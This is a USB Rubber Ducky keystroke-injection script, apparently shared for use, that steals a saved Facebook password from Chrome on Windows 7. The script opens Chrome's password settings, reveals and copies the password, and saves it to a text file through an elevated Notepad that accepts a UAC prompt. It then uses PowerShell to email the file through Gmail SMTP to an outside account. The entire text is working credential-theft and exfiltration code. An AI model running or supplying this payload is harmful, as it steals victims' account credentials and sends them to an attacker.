Notes

REM Author: Nuk3leus
REM Ducky chrome password stealer: 1.0
REM Target: Windows 7
REM Description: Opens chrome, navigates to chrome settings, navigates to saved passwords, searches for facebook, shows password, copys password
REM closes chrome, Opens notepad with bypass uac so it can save to C: drive and pastes in password
REM saves to C:passwords.txt folder, closes notepad
REM sends files via gmail to account.
DELAY 3000
REM -------------open chrome
GUI r
DELAY 3000
STRING chrome
DELAY 3000
ENTER
DELAY 5000
REM -------------copy plaintext password
TAB
TAB
TAB
TAB
TAB
TAB
TAB
STRING chrome://settings/passwords
ENTER
DELAY 3000
STRING facebook
DELAY 1500
TAB
DELAY 1500
DOWN
DELAY 1500
TAB
DELAY 1500
TAB
DELAY 1500
ENTER
DELAY 1500
ALT D
DELAY 1500
TAB
DELAY 1500
TAB
DELAY 1500
TAB
DELAY 1500
CTRL C
DELAY 1500
ALT F4
DELAY 1500
REM -------------save file to music folder as passwords.txt
GUI R
DELAY 1500
STRING powershell start-process notepad.exe -Verb runAs
DELAY 1500
ENTER
DELAY 3000
ALT y
DELAY 2000
CTRL V
DELAY 1500
ALT f
DELAY 1500
STRING s
DELAY 1500
STRING passwords.txt
DELAY 1500
TAB
TAB
TAB
TAB
TAB
TAB
TAB
TAB
TAB
STRING c
DELAY 2000
STRING l
DELAY 1500
ENTER
DELAY 1500
ALT S
DELAY 2000
ALT F4
DELAY 1500
REM -------------email log via gmail
GUI r
DELAY 1500
STRING powershell
ENTER
DELAY 2000
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'password');
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = '[email protected]'
ENTER
STRING $ReportEmail.To.Add('[email protected]')
ENTER
STRING $ReportEmail.Subject = 'Ducky chrome passwords'
ENTER
STRING $ReportEmail.Body = 'Attached is your list of passwords.'
ENTER
STRING $ReportEmail.Attachments.Add('c:passwords.txt')
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 3000
STRING exit
ENTER